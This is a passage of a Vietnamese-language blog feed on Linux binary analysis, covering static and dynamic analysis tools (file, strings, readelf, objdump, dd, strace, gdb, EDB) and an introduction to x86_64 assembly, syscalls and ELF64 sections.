    echo |tee -a $OUTPUTFILE;

   # FILE
    echo "FILE TYPE INFORMATION" | tee $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE
    file \(BINARY |tee -a \)OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;

    # STRINGS
    echo "STRINGS INFORMATION" |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    strings -s "  |  " \(BINARY |tee -a \)OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE

    # READELF
    echo "READELF ALL" |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    readelf -a -W \(BINARY |tee -a \)OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;

    # OBJDUMP
    echo "OBJDUMP EXECUTABLE" |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE
    objdump -d -M intel \(BINARY |tee -a \)OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
    echo |tee -a $OUTPUTFILE;
fi
</code></pre>
</li>
</ul>
<h2>1.7. <strong>Điều chỉnh phương pháp phân tích</strong></h2>
<p>Phần này, tôi đi xây dựng một quy trình phân tích Binary chuẩn chung, nó không áp dụng cho mọi trường hợp. Trong quá trình phân tích, với mỗi giai đoạn trong quy trình thực hiện hoàn toàn có thể thay đổi, tùy chỉnh lại sao cho phù hợp.</p>
<h1>2. Công cụ Phân tích tĩnh</h1>
<h2>2.1. <strong>Sử dụng FILE</strong></h2>
<p>Lệnh <code>file</code> cho biết các thông tin ban đầu về tệp như: loại tệp, trình biên dịch,.v.v.. Một số tham số hữu ích:</p>
<ul>
<li><p><code>[i, --mime]</code>: Hiển thị Mime Type của tệp</p>
</li>
<li><p><code>[f, --files-from FILE]</code>: Đọc danh sách các file cần kiểm tra từ một tệp text</p>
</li>
<li><p><code>[F, --separator]</code>: Định dạng đầu ra kết quả, thay vì ngăn cách nhau bằng dấu cách (mặc định) có thể định dạng theo ký tự tùy ý.</p>
</li>
</ul>
<h2>2.2. <strong>Sử dụng STRINGS</strong></h2>
<p>Trích xuất các chuỗi trong một tệp, tùy chỉnh được độ dài tối thiểu của mỗi chuỗi. Thông tin chuỗi đc <strong>hardcode</strong> vào trong Binary có thể là thông tin nhạy cảm. Một số tham số hữu ích:</p>
<ul>
<li><p><code>[a - --all]</code>: Mặc định khi chạy, quét toàn bộ tệp</p>
</li>
<li><p><code>[d --data]</code>: Chỉ quét Data Section của tệp</p>
</li>
<li><p><code>[n --bytes=[number]]</code>: Chỉ định độ dài tối thiểu của chuỗi, mặc định là 4 ký tự</p>
</li>
<li><p><code>[f --print-file-name]</code>: Khi quét nhiều tệp cùng một lúc, tham số này sẽ hiển thị tên tệp đằng trước mỗi chuỗi tìm được.</p>
</li>
<li><p><code>[s --output-separator=&lt;string&gt;]</code>: Định dạng lại đầu ra kết quả ngăn cách giữa các chuỗi, mặc định ký tự định dạng là <code>\n - xuống dòng mới</code>.</p>
</li>
<li><p><code>[t --radix={o,d,x}]</code>: Hiển thị vị trí của chuỗi trong tệp. Vị trí hiển thị theo hệ 8, 10, 16</p>
</li>
</ul>
<h2>2.3. <strong>Sử dụng READELF</strong></h2>
<p>Công cụ đọc cấu trúc tệp ELF, có sẵn trên Linux. Một số tham số hữu ích:</p>
<ul>
<li><p><code>[a --all]</code>: Show toàn bộ thông tin mà công cụ có thể đọc</p>
</li>
<li><p><code>[e --headers]</code>: Kết hợp của: <code>-h -l -S</code></p>
</li>
<li><p><code>[h --file-header]</code>: Show ELF Header</p>
</li>
<li><p><code>[l --program-headers]</code>: Show Program Header hay Segment Header</p>
</li>
<li><p><code>[S --section-headers]</code>: Show Section Header</p>
</li>
<li><p><code>[s --syms]</code>: Show bảng Symbol</p>
</li>
<li><p><code>[x --hex-dump=&lt;number|name&gt;]</code> hoặc <code>[R --relocated-dump=&lt;number|name&gt;]</code>: Dump một Section</p>
</li>
<li><p><code>[W --wide]</code>: Không ngắt dòng kết quả khi vượt quá 80 ký tự.</p>
</li>
</ul>
<h2>2.4. <strong>Sử dụng NM</strong></h2>
<p>Liệt kê các Symbol của một tệp Binary/Object</p>
<ul>
<li><p><code>[A, --print-file-name]</code>: Dùng khi quét nhiều tệp, nó sẽ hiển thị tên tệp đầu dòng</p>
</li>
<li><p><code>[D, --dynamic]</code>: Hiển thị các Dynamic Symbol, Khi tệp bị stripped nếu dùng tham số này vẫn có thể biết đc Binary gọi hàm nào</p>
</li>
<li><p><code>[S, --print-size]</code>: Hiển thị cả kích thước khi định nghĩa Symbol</p>
</li>
<li><p><code>[f, --format=FORMAT]</code>: Định dạng đầu ra các Symbol theo các hệ thống: <code>Sysv</code>, <code>Posix</code>, mặc định là <code>BSD</code>.</p>
</li>
<li><p><code>[n, --numeric-sort]</code>: Sort các Symbol theo địa chỉ nó tìm thấy</p>
</li>
</ul>
<h2>2.5. <strong>Sử dụng OBJCOPY</strong></h2>
<p>Copy một tệp Binary và có thể tùy chỉnh tệp mới: loại bỏ ELF Header, Loại bỏ symbol,.v.v.. Một số tham số hữu dụng:</p>
<ul>
<li><p><code>[I --input-target &lt;bfdname&gt;]</code>: Tệp đầu vào</p>
</li>
<li><p><code>[O --output-target &lt;bfdname&gt;]</code>: Tệp đầu ra</p>
</li>
<li><p><code>[B --binary-architecture &lt;arch&gt;]</code>: Kiến trúc tệp</p>
</li>
<li><p><code>[S --strip-all]</code>: Xóa bỏ tất cả các symbol và thông tin về relocation</p>
</li>
<li><p><code>[j --only-section]</code>: Sao chép một Section đc chỉ định</p>
</li>
</ul>
<h2>2.6. <strong>Sử dụng OBJDUMP</strong></h2>
<p>Dùng để Disassembly một Binary, sử dụng phần lớn trong quá trình phân tích tĩnh. Một số tham số hữu dụng:</p>
<ul>
<li><p><code>[x, --all-headers]</code>: Show tất cả các thông tin về header của tệp, tính năng tương tự <strong>READELF</strong></p>
</li>
<li><p><code>[D, --disassemble-all]</code>: Disassembly tất cả các Section</p>
</li>
<li><p><code>[d, --disassemble]</code>: Disassembly những Section được gắn cờ <code>X</code>, có quyền <strong>thực thi</strong></p>
</li>
<li><p><code>[w, --wide]</code>: Không ngắt dòng khi đầu ra quá 80 ký tự</p>
</li>
<li><p><code>[M, --disassembler-options=OPT]</code>: Định dạng cú pháp mã lệnh Assembly của đầu ra, thường dùng cú pháp <strong>Intel</strong></p>
</li>
</ul>
<h2>2.7. <strong>Sử dụng DD</strong></h2>
<p>Công cụ này sao chép chính xác từng byte hoặc từng khối bytes tại một thời điểm từ một disk sang thẻ nhớ hoặc sang disk khác. Công cụ này rất hữu dụng khi muốn copy một phần của tệp ra tệp khác. Lấy ví dụ một tệp thực thi ELF được nhúng bên trong một tệp ảnh, lúc này muốn trích xuất tệp ELF ra có thể sử dụng DD để copy đúng các byte của tệp ELF nằm trong tệp ảnh. Ngoài ra DD cũng được dùng để Clone một ổ cứng, một phân vùng, backup dữ liệu,.v.v.. phụ vụ điều tra số máy tính. Ví dụ:</p>
<pre><code class="language-bash">$ dd ibs=1 skip=17087 cbs=1 if=ch05-ctf.png of=ch05-ctf
</code></pre>
<p><strong>Giải thích</strong>:</p>
<ul>
<li><p><code>[ibs]</code>: Số byte đọc cùng 1 lúc, mặc định là 512</p>
</li>
<li><p><code>[skip]</code>: Số byte bỏ qua</p>
</li>
<li><p><code>[cbs]</code>: Số byte sẽ sao chép trong cùng 1 lúc</p>
</li>
<li><p><code>[if]</code>: Tệp đầu vào</p>
</li>
<li><p><code>[of]</code>: Tệp đầu ra</p>
</li>
</ul>
<p>Việc trích xuất một tệp được nhúng trong một tệp khác có nhiều cách và nhiều công cụ có thể thực hiện, bản chất vẫn là phải xác định được đúng header của tệp, tính toán được kích thước của tệp nhúng bên trong.</p>
<h1>3. Công cụ Phân tích động</h1>
<h2>3.1. <strong>Sử dụng LTRACE và STRACE</strong></h2>
<p>Hai công cụ này dùng rất nhiều trong giai đoạn đầu của phân tích động, cũng hữu ích trong một số các bài CTF. Chúng theo dõi và logs lại các API Call của một chương trình, một tệp Binary.</p>
<p><strong>LTRACE - Trace library calls</strong>: Theo dõi và logs lại các cuộc gọi hàm có trong thư viện. Tham số hữu ích:</p>
<ul>
<li><p><code>[-T hoặc -t, -tt, -ttt]</code>: Hiển thị thời gian thực hiện cuộc gọi</p>
</li>
<li><p><code>[-r]</code>: Hiển thị thời giang tương đối</p>
</li>
<li><p><code>[-c]</code>: Đếm thơi gian và số lượng cuộc gọi</p>
</li>
<li><p><code>[-f]</code>: Trace cả các cuộc gọi lồng bên trong</p>
</li>
<li><p><code>[-i]</code>: Hiển thị địa chỉ lệnh trong thời gian gọi hàm</p>
</li>
<li><p><code>[-o]</code>: Lưu kết quả ra file</p>
</li>
<li><p><code>[-S]</code>: Trace các cuộc gọi hệ thống (Giống Strace)</p>
</li>
<li><p><code>[-e]</code>: Trace theo nhóm các API, tránh nhiễu kế quả. VD: <code>$ ltrace -e opendir+readdir+closedir ./malware.bin</code></p>
</li>
<li><p><code>[-p]</code>: Trace một Process</p>
</li>
</ul>
<p>Một vài ví dụ:</p>
<pre><code class="language-bash">$ ltrace -it -o malware.txt ./malware.bin
$ ltrace -Sit -o malware.txt ./malware.bin
</code></pre>
<p><strong>STRACE - Trace system calls and signals</strong>: Theo dõi và logs lại các cuộc gọi hệ thống. Các Tham số hữu ích:</p>
<ul>
<li><p><code>[-r]</code>: Hiển thị relative timestamp</p>
</li>
<li><p><code>[-i]</code>: Hiển thị Instruction Pointer</p>
</li>
<li><p><code>[-T, -t, -tt]</code>: Hiển thị thời gian</p>
</li>
<li><p><code>[-c]</code>: Count, đếm thời gian, số cuộc gọi, lỗi,.v.v..</p>
</li>
<li><p><code>[-f, -ff]</code>: Follow forks</p>
</li>
<li><p><code>[-x]</code>: In ký tự non-ascii dạng hex</p>
</li>
<li><p><code>[-o]</code>: Lưu kết quả ra file</p>
</li>
<li><p><code>[-p &lt;PID&gt;]</code>: Trace một Process</p>
</li>
<li><p><code>[-e]</code>: trace các api theo một nhóm. VD: <code>\( strace -e trace=open,close,read,write df -h</code> hay <code>\) strace -e trace=process,file,memory,network,signal df -h</code></p>
</li>
</ul>
<p>Một vài ví dụ:</p>
<pre><code class="language-bash">$ strace -itx -o report.txt ./malware.bin
$ strace -itxC -o report.txt ./malware.bin
$ strace -itx -e trace=process,network -o report.txt ./malware.bin
</code></pre>
<h2>3.2. <strong>Sử dụng GDB</strong></h2>
<p>GDB là một công cụ phân tích động nâng cao, một số command hữu ích:</p>
<ul>
<li><p>Thiết lập trước khi Debug: Bước này mặc định sẽ làm cho GDB hiển thị theo cú pháp Intel.</p>
<pre><code class="language-bash">$ sudo su
$ echo "set disassembly-flavor intel" &gt;&gt; /etc/gdb/gdbinit
$ exit
</code></pre>
</li>
<li><p>Khởi chạy ở <strong>TUI Mode</strong> - Chế độ có thể tương tác dòng lệnh, trực quan hơn chế độ mặc định:</p>
<pre><code class="language-bash">$ gdb --tui -q ch05-example
</code></pre>
</li>
<li><p>Thiết lập các layout và tham số:</p>
<pre><code class="language-bash">(gdb) layout asm
(gdb) layout regs
(gdb) set args rot13 TheBrownFoxJumpsThroughTheForest
(gdb) break main
(gdb) run
</code></pre>
</li>
<li><p>Hiển thị giá trị các thanh ghi, vùng nhớ:</p>
<ul>
<li><p><code>(gdb) x/x $eip</code>: Hiển thị dạng Hex giá trị hiện tại của một thanh ghi hoặc ô nhớ</p>
</li>
<li><p><code>(gdb) x/wx \(eip</code> hoặc <code>(gdb) x/xw \)eip</code>: Hiển thị tối đa 4 bytes</p>
</li>
<li><p><code>(gdb) x/gx $eip</code>: Hiển thị tối đa 8 bytes</p>
</li>
<li><p><code>(gdb) x/ws $eip</code>: <strong>Word + String</strong> ⇒ Hiển thị dạng chuỗi với địa chỉ bắt đầu là một ô nhớ hay giá trị mà thanh ghi đang trỏ đến</p>
</li>
<li><p><code>(gdb) x/4x $eip</code>: Xem 4 đối tượng trong bộ nhớ dạng hex với thanh ghi hoặc địa chỉ ô nhớ là nơi bắt đầu.</p>
</li>
</ul>
</li>
<li><p>Một số lệnh hữu ích khác:</p>
<ul>
<li><p><code>info all-registers</code>: Show giá trị của tất cả các thanh ghi ở thời điểm hiện tại</p>
</li>
<li><p><code>info sources</code>: Show thông tin về các tệp source code</p>
</li>
<li><p><code>nexti</code>: Thực thi lệnh kế tiếp</p>
</li>
</ul>
</li>
</ul>
<p>Sử dụng GDB với <strong>PEDA Plugin</strong> sẽ hỗ trợ hiển thị tốt hơn rất nhiều, giúp tự động rất nhiều các bước thủ công phải làm ở trên. Xem lại phần trước để biết cách cài đặt, sử dụng PEDA cơ bản.</p>
<h2>3.3. <strong>Sử dụng EDB</strong></h2>
<p><strong>EDB - Evan's Debugger</strong> với giao diện người dùng hiện đại, được ví như <strong>Ollydbg trên Windows</strong>. EDB cũng đi kèm với nhiều Plugin hỗ trợ rất nhiều trong quá trình phân tích binary.</p>
<p><strong>Sử dụng EDB cơ bản:</strong></p>
<ul>
<li><p>Chạy EDB với nhiều cách bằng dòng lệnh:</p>
<ul>
<li><p><code>$ edb --run ./ch05-example</code>: Load một Binary vào EDB theo cách thông thường</p>
</li>
<li><p><code>$ edb --run ./ch05-example rot13 TheBrown</code>: Load một Binary vào EDB với tham 2 số đi kèm.</p>
</li>
</ul>
</li>
<li><p>Hệ thống các Plugin đi kèm: Analyzer, Call Stack, Binary Info, Binary Search, Bookmarks, Breakpoint Manager, DumpState, FasLoader, Function Finder, Heap Analyzer, ROPTool, Symbol Viewer,.v.v..</p>
</li>
<li><p>Để Patching một lệnh: <strong>Tại Disassembly Windows &gt; Righ Click &gt; Asemble</strong> hoặc nhấn phím <strong>Space</strong></p>
</li>
<li><p>Một vài lệnh cơ bản:</p>
<ul>
<li><p><code>F2</code>: Đặt Breakpoint</p>
</li>
<li><p><code>F3</code>: Mở một tệp</p>
</li>
<li><p><code>Shift+F3</code>: Attack mọt Process</p>
</li>
<li><p><code>F7</code>: Step into</p>
</li>
<li><p><code>F8</code>: Step over</p>
</li>
<li><p><code>F9</code>: Run</p>
</li>
<li><p><code>F11</code>: Pause</p>
</li>
<li><p><code>Ctrl+F9</code>: Run until Return</p>
</li>
<li><p><code>Alt+X</code>: Thoát</p>
</li>
</ul>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Binary 103: Linux 64-bit Assembly]]></title><description><![CDATA[Phần này giới thiệu cho bạn đọc những kiến thức cơ bản về x86_64 Assembly trên Linux, nhìn chung không khác biệt quá nhiều so với x86 Assembly. Điểm khác biệt dễ nhận thấy nhất ở x86_64 Assembly là về]]></description><link>https://blog.lehonghai.com/binary-103-linux-64-bit-assembly</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-103-linux-64-bit-assembly</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Sat, 06 Mar 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Phần này giới thiệu cho bạn đọc những kiến thức cơ bản về x86_64 Assembly trên Linux, nhìn chung không khác biệt quá nhiều so với x86 Assembly. Điểm khác biệt dễ nhận thấy nhất ở x86_64 Assembly là về số lượng các thanh ghi, độ rộng thanh ghi và quá trình thực hiện <strong>System Calls</strong>, tất cả sẽ được trình bày trong bài này.</p>
<h1>1. Các thanh ghi trong x86_64 Assembly</h1>
<p>Các thanh ghi trong x86_64 Assembly là sự mở rộng của x86 Assembly từ 32-bits lên 64-bits và các thanh ghi này hoạt động tương tự các thanh ghi 32-bits, khi cần thiết chúng đều có thể được chia nhỏ thành các thanh ghi con 32-bits, 16-bits và 8-bits.</p>
<ul>
<li><p><strong>Nhóm thanh ghi chung</strong>: Mở rộng lên 64-bits, vai trò của các thanh ghi không thay đổi, vẫn sẽ có các thanh ghi: <code>RAX, RBX, RCX, RDX, RSI, RDI, RSP, RBP</code></p>
</li>
<li><p><strong>Thanh ghi cờ - RFLAGS</strong>: Mở rộng lên 64-bits và <code>32-bits thấp của thanh ghi này vẫn hoạt động như thanh ghi cờ ở x86 Assembly</code>.</p>
</li>
<li><p><strong>Thanh ghi con trỏ lệnh - RIP</strong>: Mở rộng lên 64-bits và hỗ trợ thêm một chế độ địa chỉ mới là: <code>RIP - Relative Addressing</code>.</p>
</li>
<li><p><strong>Nhóm thanh ghi mới ở x86_64 Assembly</strong>: 8 Thanh ghi 64-bits mới được bổ sung: <code>R8, R9, R10, R11, R12, R13, R14, R15</code>. Các thanh ghi này cũng chứa các thanh ghi: 32, 16, 8 bit lần lượt tương ứng hậu tố: D, W, L. <strong>Ví dụ R8 có thể chia nhỏ hơn thành R8D (32 bits), R8W (16 bits), và R8L (8 bits)</strong>.</p>
</li>
<li><p>Ví dụ các thanh ghi trong x86 Assembly:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/fa55d30e-39d0-47f3-bc43-67c8bd216705.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/81396368-770c-482e-ba0b-24f8866c46f0/Untitled.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Ví dụ các thanh ghi trong x86_64 Assembly:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/98fa0064-fc16-40bf-94b9-e53f4ac6fa8e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/84584de6-cff5-469b-9b32-47191ebdeffc/Untitled.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<h1>2. Các lệnh thường gặp trong x86_64 Assembly</h1>
<p>Các lệnh thường gặp trong x86_64 Assembly hầu hết đều giống với x86 Assembly trình bày ở phần trước. Điểm khác biệt là độ rộng của thanh ghi được tăng lên 64-bits, RIP hỗ trợ Relative addressing. Một số ví dụ:</p>
<ul>
<li><p>Ví dụ lệnh MOV</p>
<pre><code class="language-wasm">mov rax,rbx
mov rcx,0x1122334455667788
mov dl,0x11
mov rax,[r8]
</code></pre>
</li>
<li><p>Ví dụ lệnh IC, DEC</p>
<pre><code class="language-wasm">inc eax
inc rdx
inc al
inc [ax]

dec ebx
dec rbx
dec bl
dec [bx]
</code></pre>
</li>
<li><p>Ví dụ lệnh ADD, SUB, MUL, DIV</p>
<pre><code class="language-wasm">add ebx,eax
add bx,ax
add rax,rbx
add cl,0x2

sub edx,ecx
sub dx,cx
sub rdx,rcx
sub cl,0x2

mul rdi
mul bx
mul cl
mul 0x1122334455667788

div bx
div ecx
div cl
</code></pre>
</li>
<li><p>Ví dụ lệnh LEA và XCHG</p>
<pre><code class="language-wasm">lea rax,[rcx+8]
xchg rdi,rsi
</code></pre>
</li>
<li><p>Ví dụ lệnh XOR, AND, OR</p>
<pre><code class="language-wasm">xor rax,rax
and rbl,al
or bx,bx
or cx,0xfff
</code></pre>
</li>
<li><p>Ví dụ lệnh PUSH và POP</p>
<pre><code class="language-wasm">push rdi
pop r12
</code></pre>
</li>
</ul>
<h1>3. x86_64 Assembly System Calls trên Linux</h1>
<p>Khi thực hiện một System Call trong x86_64 Assembly sẽ không còn sử dụng <strong>NGẮT</strong> (<code>INT 0X80</code>) như trước nữa, thay vào đó nó sử dụng lệnh <code>SYSCALL</code>. Quy định về các thanh ghi lưu các tham số cũng khác so với x86 Assembly.</p>
<p>Tra cứu các <strong>System Call Number</strong> của x86_64 Assembly trong tệp: <code>/usr/include/x86_64-linux-gnu/asm/unistd_64.h</code></p>
<pre><code class="language-bash">$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
...
</code></pre>
<p>Vẫn sử dụng <code>Man Page</code> để tra cứu cách sử dụng một API. Ví dụ với hàm <code>read</code> có System Call Number là <code>1</code></p>
<pre><code class="language-bash">$ man 2 read
</code></pre>
<p>Kết quả cho biết hàm nhận vào 3 tham số như dưới đây:</p>
<pre><code class="language-bash">READ(2)                                             Linux Programmer's Manual                                             READ(2)

NAME
       read - read from a file descriptor

SYNOPSIS
       #include &lt;unistd.h&gt;

       ssize_t read(int fd, void *buf, size_t count);
...
</code></pre>
<p>Các Parameter truyền vào khi gọi hàm tuân theo quy tắc sau đây:</p>
<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/78aa67d4-4042-4252-8f6b-2536c1530423/Untitled.png" alt="Tham khảo: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Via_dedicated_system_call_invocation_instruction" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikibooks.org/wiki/X86%5C_Assembly/Interfacing%5C_with%5C_Linux#Via%5C_dedicated%5C_system%5C_call%5C_invocation%5C_instruction">https://en.wikibooks.org/wiki/X86\_Assembly/Interfacing\_with\_Linux#Via\_dedicated\_system\_call\_invocation\_instruction</a></p>
<p>Ta có “công thức” cần nhớ:</p>
<p>💡 - x86_64 Assembly thực hiện System Call thông qua lệnh: `SYSCALL` - Thanh ghi RAX/EAX/AX sẽ lưu `System Call Number` và `Result` của System Call. - Các tham số theo thứ tự sau: `RDI, RSI, RDX, R10, R8, R9` - Tra cứu các System Call Number tại: `unistd_64.h` - Tra cứu các API bằng `Man Page` của Linux</p>
<h1>4. Phân tích một chương trình x86_64 Assembly đơn giản</h1>
<ul>
<li><p>Source code:</p>
<pre><code class="language-wasm">  1 ; ch03_helloworld64.asm
  2
  3 global _start
  4 section .text
  5
  6 _start:
  7         ; __NR_write 1
  8         ; ssize_t write(int fd, const void *buf, size_t count);
  9         xor    rax,rax
 10         xor    rdi,rdi
 **11         xor    rsi,rsi**
 12         xor    rdx,rdx
 13         xor    r14,r14
 14         xor    r15,r15
 15         inc    rax
 16         inc    rdi
 17         mov    r14,0x00000a21646c726f
 18         mov    r15,0x57202c6f6c6c6548
 19         push   r14
 20         push   r15
 21         mov    rsi,rsp
 22         mov    dl,0xf
 23         syscall
 24
 25         ; __NR_exit 60
 26         ; void _exit(int status);
 27         xor    rax,rax
 28         xor    rdi,rdi
 29         mov    al,0x3c
 30         syscall
</code></pre>
</li>
<li><p>Biên dịch, liên kết và chạy chương trình:</p>
<pre><code class="language-bash">$ nasm -f elf64 -o ch03-helloworld64.o ch03-helloworld64.asm
$ ld -o ch03-helloworld64 ch03-helloworld64.o
$ chmod +x ch03-helloworld64
$ ./ch03-helloworld64
Hello, World!
</code></pre>
</li>
<li><p>Giải thích chi tiết:</p>
<ul>
<li><p>Dòng 9, 10, 11, 12, 13, 14: khởi tạo giá trị 0 cho các thanh ghi <strong>RAX, RDI, RSI, RDX, R14, R15</strong></p>
</li>
<li><p>Dòng 15: RAX = 0x1 ⇒ Tra System Call Number trong <code>unistd_64.h</code> ta được: <code>#define __NR_write 1</code>. Hàm <code>write</code> trong Man Page: <code>ssize_t write(int fd, const void *buf, size_t count);</code> sẽ nhận vào 3 tham số.</p>
</li>
<li><p>Dòng 16: RDI = 0x1 ⇒ Đây là tham số đầu tiên của hàm <code>write</code>. Ta có các hằng số định nghĩa <strong>File Descriptor</strong> như sau: <code>0=STDIN, 1=STDOUT, 2=STDERR</code>. Vậy trường hợp này <code>fd=STDOUT</code>.</p>
</li>
<li><p>Dòng 17, 18: Sao chép dữ liệu dạng <code>Hexa</code> vào các thanh ghi <code>R14, R15</code></p>
</li>
<li><p>Dòng 19, 20: Đẩy dữ liệu của <code>R14, R15</code> lên Stack. Dựa theo <strong>Little-Endian</strong> ta decode dữ liệu này như sau:</p>
<pre><code class="language-python">$ python
&gt;&gt;&gt; a = '00000a21646c726f'.decode('hex')
&gt;&gt;&gt; b = '57202c6f6c6c6548'.decode('hex')
&gt;&gt;&gt; final = a + b
&gt;&gt;&gt; final[::-1] # Little-Endian, Reverse bytes
'Hello, World!\n\x00\x00'
</code></pre>
</li>
<li><p>Nhớ lại chương trình x86 Assembly phần trước, chương trình phải đẩy 4 lần dữ liệu lên Stack trong khi với x86_64 Assembly chỉ với 2 lần. Lý do vì độ rộng của vùng nhớ trên Stack lúc này tăng từ 32-bits lên 64-bits.</p>
</li>
<li><p>Dòng 21: RSI lúc này trỏ vào đỉnh Stack, tức là đang trỏ đến chuỗi: <code>'Hello, World!\n\x00\x00'</code> ⇒ Vậy tham số thứ 2 của hàm <code>write</code>: <code>*buf='Hello, World!\n\x00\x00'</code></p>
</li>
<li><p>Dòng 22: DL = 0xF ⇒ RDX = 0xF ⇒ Vậy tham số cuối cùng hàm <code>write</code>: <code>count=15</code></p>
</li>
<li><p>Dòng 23: Thực hiện <strong>System Call</strong></p>
</li>
<li><p>Dòng 27, 28: Khởi tạo lại giá trị 0 cho các thanh ghi <strong>RAX, RDI</strong></p>
</li>
<li><p>dòng 29: AL=0x3C ⇒ RAX=0x3C ⇒ Tra cứu System call number trong <code>unistd_64.h</code> ta được hàm: <code>#define __NR_exit 60</code>. Được mô tả như sau: <code>void exit(int status);</code></p>
</li>
<li><p>Dòng 30: Thực hiện <strong>System call</strong> với hàm exit với tham số: <code>status=0</code></p>
</li>
</ul>
</li>
<li><p>Tóm lại: Ta có thể chia chương trình thành 2 khối thực thi:</p>
<ul>
<li><p>Khối đầu thực hiện hàm <code>write</code>, khối sau thực hiện hàm <code>exit</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dce050ae-fb8b-4da5-a579-86c9e62202e3.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86%5C_64-64%5C_bit">https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86\_64-64\_bit</a></p>
</li>
<li><p>Khi đó ta được:</p>
<pre><code class="language-c">write(fd=1, *buf="Hello, World!\n\0", count=15);
exit(status=0);
</code></pre>
</li>
</ul>
</li>
</ul>
<h1>5. Cấu trúc tệp ELF64 trên Linux</h1>
<p>Cấu trúc tệp ELF64 về so với ELF32 không có sự khác biệt nhiều, chỉ thay đổi một vài thông số cho phù hợp với hệ thống 64-bits. Phần này sẽ không bàn quá nhiều về cấu trúc chi tiết như phần trước về ELF32, phần này tập chung vào sự khác biệt của tệp ELF32/64 sau khi biên dịch của C mà Assembly sau khi biên dịch không có.</p>
<p>Nhìn chung chương trình viết bằng Assembly cho kích thước nhỏ hơn, cấu trúc tệp tinh gọn hơn, không có nhiều thông tin "thừa" đi kèm tệp:</p>
<ul>
<li><p>Chương trình viết bằng Assembly có kích thước bé hơn</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/d143fc01-443f-4784-bc07-2e85f5f2095e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/1b6b1006-ddd2-4d39-99e6-7d99f631b58a/Untitled.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Chương trình viết bằng Asembly có ít thông tin hơn về thư viện, trình biên dịch</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/7bfdd04f-be1b-41b0-8d6e-1191c4d7e24f.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/006bf77f-1943-4271-839d-442b411c2057/Untitled.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Tệp ELF của C đi kèm với rất nhiều thông tin: thư viện, compiler, symbols, strings,.v.v.. Đáng chú ý nhất là xuất hiện rất nhiều các Section được trình biên dịch thêm vào:</p>
<ul>
<li><p><code>.text</code>: Chứa code thực thi. Khi phân tích Binary chủ yếu tập chung vào Section này.</p>
</li>
<li><p><code>.bss</code>: Chứa dữ liệu (variable) chưa đc khởi tạo giá trị. Phần này nằm trong Data Segment</p>
</li>
<li><p><code>.data</code>: Chứa dữ liệu (variable) đã đc khởi tạo giá trị. Phần này cũng nằm trong Data Segment</p>
</li>
<li><p><code>.rodata</code>: Chứa dữ liệu chỉ đọc (const), và nó đc sử dụng cho các Segment non-writable</p>
</li>
<li><p><code>.shstrtab</code>: Chứa header string table, chứa tên của tất cả các Section trong tệp nhị phân</p>
</li>
<li><p><code>.symtab</code>: Chứa mảng các tham chiếu đến các symbol dc linker và loader sử dụng</p>
</li>
<li><p><code>.strtab</code>: Chứa bảng các chuỗi kết thúc bằng null-terminated</p>
</li>
<li><p><code>.init</code>: Chịu trách nhiệm khởi tạo image tiến trình cho tệp ELF</p>
</li>
<li><p><code>.fini</code>: Chịu trách nhiệm về mã kết thúc cho tiến trình</p>
</li>
<li><p><code>.plt</code>: Chứa Procedure Linkage Table và dữ liệu chuyển hướng các hàm thư viện đến vị trí tuyệt đối của chúng trong bộ nhớ</p>
</li>
<li><p><code>.got</code>: Có thể ghi vào đc, và nó chứa Global Offset Table, resolve các shared library data trong quá trình chạy và còn đc sử dụng với Procedure Linkage Table</p>
</li>
<li><p><code>.got.plt</code>: Hoạt động cùng với Procedure Linkage Table, chứa địa chỉ cho các hàm đc sử dụng bởi Procedure Linkage Table trong quá trình liên kết động</p>
</li>
</ul>
</li>
<li><p>Một số Segment thường gặp:</p>
<ul>
<li><p><code>Text Segment</code>: Chứa một số section như: <code>.text</code>, <code>.rodata</code>, <code>.hash</code>, <code>.dynsym</code>, <code>.dynstr</code>, <code>.plt</code>, <code>.rel.got</code></p>
</li>
<li><p><code>Data Segment</code>: Có thể ghi vào đc, chứa một số section như: <code>.data</code>, <code>.dynamic</code>, <code>.got</code>, <code>.bss</code></p>
</li>
</ul>
</li>
</ul>
<p><strong>ReadELF</strong> với chương trình viết bằng C:</p>
<ul>
